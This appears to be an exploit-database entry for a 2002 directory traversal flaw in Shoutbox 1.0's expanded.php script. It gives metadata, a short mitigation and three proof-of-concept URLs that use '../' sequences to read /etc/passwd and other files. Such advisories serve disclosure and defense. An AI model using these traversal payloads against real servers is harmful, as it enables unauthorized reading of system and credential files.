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vendor:
Shoutbox
by:
SecurityFocus
7,5
CVSS
HIGH
Directory Traversal
22
CWE
Product Name: Shoutbox
Affected Version From: Shoutbox 1.0
Affected Version To: Shoutbox 1.0
Patch Exists: YES
Related CWE: CVE-2002-1490
CPE: a:shoutbox:shoutbox:1.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2002

Shoutbox Directory Traversal Vulnerability

Shoutbox is vulnerable to directory traversal attacks due to insufficient sanitization of user-supplied values to the expanded.php script. This allows attackers to view potentially sensitive files.

Mitigation:

Ensure that user-supplied values are properly sanitized before being used in the application.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/7775/info

A problem in Shoutbox may result in traversal attacks. The vulnerability exists due to insufficient sanitization of user-supplied values to the expanded.php script, and could allow the viewing of potentially sensitive files by attackers. 

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../targetfile

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/passwd

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/issue